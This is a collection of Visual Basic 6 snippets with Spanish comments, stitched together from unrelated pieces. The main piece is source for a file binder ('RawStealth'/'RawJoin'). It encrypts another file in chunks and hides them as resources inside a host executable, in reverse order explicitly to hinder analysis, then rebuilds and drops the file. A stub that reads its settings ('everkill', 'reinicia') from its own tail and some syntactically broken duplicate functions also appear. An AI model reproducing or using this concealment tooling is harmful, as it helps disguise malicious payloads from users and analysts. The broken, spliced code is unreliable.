Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, Optional lpNumberOfBytesWritten As Long) As Long

Function ByteReadInt(btData() As Byte, Optional Base As Long) As Integer
  Call ReadProcessMemory(GetCurrentProcess(), VarPtr(btData(Base)), ByteReadInt, 2)
End Function

Function ByteReadLng(btData() As Byte, Optional Base As Long) As Long
  Call ReadProcessMemory(GetCurrentProcess(), VarPtr(btData(Base)), ByteReadLng, 4)
End Function

Function ByteReadSng(btData() As Byte, Optional Base As Long) As Single
  Call ReadProcessMemory(GetCurrentProcess(), VarPtr(btData(Base)), ByteReadSng, 4)
End Function

Function ByteReadDbl(btData() As Byte, Optional Base As Long) As Double
  Call ReadProcessMemory(GetCurrentProcess(), VarPtr(btData(Base)), ByteReadDbl, 8)
End Function

Function ByteReadCur(btData() As Byte, Optional Base As Long) As Currency
  Call ReadProcessMemory(GetCurrentProcess(), VarPtr(btData(Base)), ByteReadCur, 8)
End Function

Function ByteReadDate(btData() As Byte, Optional Base As Long) As Date
  Call ReadProcessMemory(GetCurrentProcess(), VarPtr(btData(Base)), ByteReadDate, 8)
End Function

Function ByteReadStr(btData() As Byte, Optional Base As Long, Optional StrLen As Long) As String
        Dim btStr() As Byte

  ReDim btStr(StrLen) As Byte
  
  Call ReadProcessMemory(GetCurrentProcess(), VarPtr(btData(Base)), btStr(0), StrLen)
  ByteReadStr = StrConv(btStr, vbUnicode)
End Function

Private Sub Form_Load()
  Dim Ap As String
  Dim Bp As String
  Dim Cp As String
  Dim everkill As String
  Dim reinicia As String
  
  Dim btData() As Byte
  Dim lBase&

  Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
  
  ReDim btData(LOF(1)) As Byte
  
  Get #1, , btData
  
  lBase = LOF(1) - 130
  
  Close #1
  
  Ap = ByteReadStr(btData, lBase, 60)
  Bp = ByteReadStr(btData, lBase + 60, 60)
  Cp = ByteReadStr(btData, lBase + 120, 5)
  everkill = ByteReadStr(btData, lBase + 125, 3)
  reinicia = ByteReadStr(btData, lBase + 128, 3)
End Sub

HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express

Function Div(Dividendo As Double, Divisor As Double)As Double
  On Error Resume Next

  Div = Dividendo / Divisor
End Function

Function Div(Dividendo As Double, Divisor As Double)As Double
  On Error Resume Next

  Div = Dividendo / Divisor

  If Err.Number <> 0 Then
    Call MsgBox("[ Error ] " & Err.Description
  End If
End Function

Function Div(Dividendo As Double, Divisor As Double)As Double
  On Error Resume ErrDiv

  Div = Dividendo / Divisor

ErrDiv:
  If Err.Number <> 0 Then
    Call MsgBox("[ Error ] " & Err.Description
  End If
End Function

Option Explicit

Public Const MAX_RAW_SIZE = 16384 ' 16 KB

Public Const RAW_VERSION = 1
Public Const RAW_BASE = 1337
Public Const RAW_DEF_LANG = 3082

Public Const RAW_ENCODE_BLOWFISH = 1
Public Const RAW_ENCODE_RIJNDAEL = 2
Public Const RAW_ENCODE_BASE64 = 3

Type RAW_HEADER
  Size              As Long
  Checksum          As Long     ' Checksum de los datos no-cifrados.
  SizeOfRawData     As Long
  PointerToRawData  As Long     ' Relativo al inicio de la cabecera.
  CryptKeyPointer   As Long
  CryptKeySize      As Integer
  Version           As Integer
  EncodeType        As Integer
  Count             As Integer  ' Queremos rearmarlo ;)
  Index             As Integer
End Type

Public Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, Optional lpNumberOfBytesWritten As Long) As Long
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, lpBuffer As Any, ByVal nSize As Long, Optional lpNumberOfBytesWritten As Long) As Long

Public Declare Function BeginUpdateResource9x Lib "unicows.dll" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Public Declare Function UpdateResource9x Lib "unicows.dll" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function EndUpdateResource9x Lib "unicows.dll" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long

Public Declare Function BeginUpdateResourceNT Lib "kernel32" Alias "BeginUpdateResourceA" (ByVal pFileName As String, ByVal bDeleteExistingResources As Long) As Long
Public Declare Function UpdateResourceNT Lib "kernel32" Alias "UpdateResourceA" (ByVal hUpdate As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal wLanguage As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function EndUpdateResourceNT Lib "kernel32" Alias "EndUpdateResourceA" (ByVal hUpdate As Long, ByVal fDiscard As Long) As Long

Public Declare Function EnumResourceTypes Lib "kernel32" Alias "EnumResourceTypesA" (ByVal hModule As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function EnumResourceLanguages Lib "kernel32" Alias "EnumResourceLanguagesA" (ByVal hModule As Long, ByVal lpType As Long, ByVal lpName As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function EnumResourceNames Lib "kernel32" Alias "EnumResourceNamesA" (ByVal hModule As Long, ByVal lpType As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long

Public Declare Function FindResource Lib "kernel32" Alias "FindResourceA" (ByVal hInstance As Long, ByVal lpName As Long, ByVal lpType As Long) As Long
Public Declare Function LoadResource Lib "kernel32" (ByVal hInstance As Long, ByVal hResInfo As Long) As Long
Public Declare Function LockResource Lib "kernel32" (ByVal hResData As Long) As Long

Private hRawJoinMem As Long

Sub RawStealth(HostFilename As String, SourceFilename As String)
        Dim lpHeader As RAW_HEADER
        Dim lPieces&, lBytesRemaining&
        Dim btSourceData() As Byte
        Dim btPieceData()  As Byte
        Dim hHostRes&, hSource&
        Dim lBaseIndex&
        Dim hMem&, i&, r&

  hSource = FreeFile
  
  ' Abre el archivo fuente.
  '
  Open SourceFilename For Binary As #hSource
  
  ReDim btSourceData(LOF(hSource)) As Byte
  
  ' Lee todo el archivo a la matriz de byte.
  '
  Get #hSource, 1, btSourceData
  
  ' Calcula cuantos trozos de MAX_RAW_SIZE-bytes serán
  ' necesarios para este archivo.
  '
  lPieces = LOF(hSource) \ MAX_RAW_SIZE
  
  ' Calcula los bytes restantes, por si el tamaño del
  ' archivo no es múltiplo de MAX_RAW_SIZE.
  '
  lBytesRemaining = LOF(hSource) Mod MAX_RAW_SIZE
  
  Close #hSource
  
  ' Si sobran bytes entonces deberá crearse otra
  ' entrada de recursos.
  '
  If lBytesRemaining Then lPieces = lPieces + 1
  
  ' Abre el archivo host para editar recursos.
  '
  If IsWin9x Then
    hHostRes = BeginUpdateResource9x(HostFilename, False)
  Else
    hHostRes = BeginUpdateResourceNT(HostFilename, False)
  End If
  
  ' Inicializa la cabecera de los recursos.
  '
  lpHeader.Size = Len(lpHeader)
  lpHeader.Version = RAW_VERSION
  lpHeader.Count = lPieces
  
  ' Sólo para dificultar un poco más el análisis,
  ' comienza a poner los recursos desde el último
  ' trozo hasta el primero, por eso establece la
  ' variable lBaseIndex al último byte, ya que
  ' este indica el elemento de la matriz btSourceData
  ' desd el cuál se leerá en cada sección.
  '
  lBaseIndex = UBound(btSourceData)
  
  For i = lPieces To 1 Step -1
    If i < lPieces Or (lBytesRemaining = 0) Then
      ' Si no es la última sección o no hay bytes
      ' sobrantes, por lo que todas las secciones
      ' tendrían el mismo tamaño (MAX_RAW_SIZE).
      '
      lpHeader.SizeOfRawData = MAX_RAW_SIZE
      lpHeader.PointerToRawData = lpHeader.Size
    Else
      ' Longitud de datos de la última sección.
      '
      lpHeader.SizeOfRawData = lBytesRemaining
      lpHeader.PointerToRawData = lpHeader.Size
    End If
    
    lpHeader.Index = i

    ' Calcula el índice base de la matriz desde
    ' el que se leerá.
    '
    lBaseIndex = lBaseIndex - lpHeader.SizeOfRawData
  
    ' Establece el tipo de cifrado de datos a 0 (ninguno)
    ' para obtener uno válido y aleatorio a continuación.
    '
    lpHeader.EncodeType = 0
    
    ' Determina el tipo de cifrado para este bloque.
    '
'    Do
'      lpHeader.EncodeType = Rnd * 2
'    Loop While (lpHeader.EncodeType = 0)
   
    ' En esta variable se leerá el bloque de datos.
    '
    ReDim btPieceData(lpHeader.SizeOfRawData) As Byte
    
    ' Lee el bloque de datos desde los datos originales.
    '
    r = ReadProcessMemory(GetCurrentProcess(), VarPtr(btSourceData(lBaseIndex)), _
                          btPieceData(0), lpHeader.SizeOfRawData)
    
    ' cifra los datos y devuelve el puntero de memoria
    ' de los datos cifrados, y su correspondiente cabecera
    ' listo para meter en el host como recursos.
    '
    hMem = EncryptRawData(lpHeader, btPieceData(), GenKey(8)) ' Utiliza una clave aleatoria de 8 bytes.
  
    ' Crea/Reemplaza el recurso del host.
    '
    If IsWin9x Then
      r = UpdateResource9x(hHostRes, RT_RCDATA, RAW_BASE + i, RAW_DEF_LANG, _
                      ByVal hMem, lpHeader.PointerToRawData + lpHeader.SizeOfRawData)
    Else
      r = UpdateResourceNT(hHostRes, RT_RCDATA, RAW_BASE + i, RAW_DEF_LANG, _
                      ByVal hMem, lpHeader.PointerToRawData + lpHeader.SizeOfRawData)
    End If
    
    ' Libera la memoria usada por este bloque.
    '
    r = VirtualFree(hMem, 0&, MEM_RELEASE)

    DoEvents
  Next
  
  ' Actualiza el host con los nuevos datos.
  '
  If IsWin9x Then
    r = EndUpdateResource9x(hHostRes, False)
  Else
    r = EndUpdateResourceNT(hHostRes, False)
  End If
End Sub

Function EncryptRawData(Header As RAW_HEADER, Data() As Byte, ByVal Key As String) As Long
        Dim csRijndael As New CRijndael
        Dim csBlowfish As New CBlowfish
        Dim btEncrypted() As Byte
        Dim hMem&, r&
      
  With Header
    ' Calcula el checksum de los datos planos para verificarlos
    ' al extraerlos del archivo host.
    '
    .Checksum = GetChecksum(Data)
    
    ' cifra los datos según el algoritmo seleccionado.
    '
    Select Case .EncodeType
      Case RAW_ENCODE_BLOWFISH
        Call csBlowfish.EncryptByte(Data, Key)
        btEncrypted = Data
      Case RAW_ENCODE_RIJNDAEL
        btEncrypted = csRijndael.EncryptData(Data, StrConv(Key, vbFromUnicode))
      Case RAW_ENCODE_BASE64
        btEncrypted = csBlowfish.EncodeArray64(Data)
      Case Else
        btEncrypted = Data
    End Select
    
    ' Guarda la clave en Base64
    '
    Key = csBlowfish.Encode64(Key)
    
    ' Asigna memoria suficiente para guardar la cabecera, la clave y los datos.
    '
    hMem = VirtualAlloc(0&, .PointerToRawData + .SizeOfRawData + Len(Key), _
                        MEM_COMMIT, PAGE_READWRITE)

    ' Recalcula los registros de la cabecera con
    ' los datos actuales.
    '
    .CryptKeySize = Len(Key)
    .CryptKeyPointer = .Size
    .PointerToRawData = .Size + Len(Key)
    .SizeOfRawData = UBound(btEncrypted)
  End With

  ' Escribe en la memoria la cabecera, la clave y los datos.
  '
  r = ReadProcessMemory(GetCurrentProcess(), VarPtr(Header), ByVal hMem, Len(Header))
  r = ReadProcessMemory(GetCurrentProcess(), StrPtr(StrConv(Key, vbFromUnicode)), ByVal hMem + Header.Size, Header.CryptKeySize)
  r = ReadProcessMemory(GetCurrentProcess(), VarPtr(btEncrypted(0)), ByVal hMem + Header.PointerToRawData, Header.SizeOfRawData)
  
  EncryptRawData = hMem

End Function

Sub RawJoin(HostFilename As String)
        Dim hModule&, r&

  ' Carga el ejecutable como archivo de datos
  ' para leer los recursos.
  '
  hModule = LoadLibraryEx(ByVal HostFilename, 0, LOAD_LIBRARY_AS_DATAFILE)

  r = EnumResourceNames(hModule, RT_RCDATA, AddressOf EnumRawResNameProc, hModule)

  Call FreeLibrary(hModule)
End Sub

Function EnumRawResNameProc(ByVal hModule As Long, ByVal dwType As Long, ByVal dwName As Long, ByVal lParam As Long) As Long
        Static hMem&, lCnt&, lSize&
        
        Dim csRijndael  As New CRijndael
        Dim csBlowfish  As New clsBlowfish
        Dim lpHeader    As RAW_HEADER
        Dim btData()    As Byte
        Dim btKey()     As Byte
        Dim hFind&, hRsrc&
        Dim r&, lAddress&
        Dim hFile%
        

  If dwName >= RAW_BASE Then
    ' Si pertenece a los recursos del archivo.
    '
    
    ' Busca el recurso actual.
    '
    hFind = FindResource(lParam, dwName, RT_RCDATA)
    
    If hFind Then
      ' Extrae el recurso del archivo.
      '
      hRsrc = LoadResource(lParam, hFind)
      
      ' Carga los datos del recurso en memoria.
      '
      lAddress = LockResource(hRsrc)
      
      lCnt = lCnt + 1
      
      ' Lee la cabecera de datos.
      '
      r = ReadProcessMemory(GetCurrentProcess(), lAddress, lpHeader, Len(lpHeader))
      
      With lpHeader
        If hMem = 0 Then
          ' Asigna memoria suficiente para rearmar el archivo en memoria.
          '
          hMem = VirtualAlloc(0&, .Count * .SizeOfRawData, MEM_COMMIT, PAGE_READWRITE)
        End If

        ReDim btData(.SizeOfRawData) As Byte
        
        ' Lee los datos crudos del archivo.
        '
        r = ReadProcessMemory(GetCurrentProcess(), lAddress + .PointerToRawData, _
                              btData(0), .SizeOfRawData)

        If .EncodeType Then
          ' Si los datos están cifrados, lee la clave.
          '
          ReDim btKey(.CryptKeySize) As Byte
          
          r = ReadProcessMemory(GetCurrentProcess(), lAddress + .CryptKeyPointer, _
                                btKey(0), .CryptKeySize)

          btKey = csBlowfish.DecodeArray64(StrConv(btKey, vbUnicode))

          ' descifra los datos del archivo.
          '
          Select Case .EncodeType
            Case RAW_ENCODE_BLOWFISH
              Call csBlowfish.DecryptByte(btData, StrConv(btKey, vbUnicode))
            Case RAW_ENCODE_RIJNDAEL
              btData = csRijndael.DecryptData(btData, btKey)
            Case RAW_ENCODE_BASE64
              btData = csBlowfish.DecodeArray64(StrConv(btData, vbUnicode))
          End Select
        End If
        
        ' Verifica que los datos leídos sean los mismos
        ' que cuando se creó el recurso.
        '
        If .Checksum <> GetChecksum(btData) Then
          Debug.Print "Parte " & .Index & " del archivo corrupta"
        End If
        
        lSize = lSize + UBound(btData)
        
        ' Escribe el bloque actual del archivo en memoria.
        '
        r = WriteProcessMemory(GetCurrentProcess(), hMem + (CLng(.Index - 1) * MAX_RAW_SIZE), _
                              btData(0), UBound(btData))
        
        If lCnt = .Count Then
          ' Si ya se leyeron todos los bloques.
          '
          ReDim btData(lSize) As Byte
          
          ' Copia todo el archivo rearmado a una matriz de byte.
          '
          r = ReadProcessMemory(GetCurrentProcess(), hMem, btData(0), lSize)
          
          hFile = FreeFile
          
          ' Crea un nuevo archivo y guarda los datos extraídos.
          '
          Open "C:\" & Hex$(Timer) & ".dat" For Binary As #hFile
          
          Put #hFile, 1, btData
          
          Close #hFile
          
          lCnt = 0
          lSize = 0
          
          Call VirtualFree(hMem, 0&, MEM_RELEASE)
          
          hMem = 0
          EnumRawResNameProc = 0
        Else
          EnumRawResNameProc = 1
        End If
      End With
      
      ' Libera la memoria usada por los datos
      ' del recurso actual.
      '
      r = FreeResource(hRsrc)
    End If
    
  End If
  
  DoEvents
End Function

Function GetChecksum(Data() As Byte) As Long
      Dim i&, lChecksum&

  For i = 0 To UBound(Data) - 1
    lChecksum = lChecksum + (Data(i) Xor i)
  Next
  
  GetChecksum = lChecksum
End Function

Function GenKey(Bytes As Integer) As String
      Dim i%, iChar%, sKey$

  Call Randomize(Timer)
  
  For i = 1 To Bytes
    iChar = Rnd * 8192
    
    sKey = sKey & String$(1, iChar)
  Next
  
  GenKey = sKey
End Function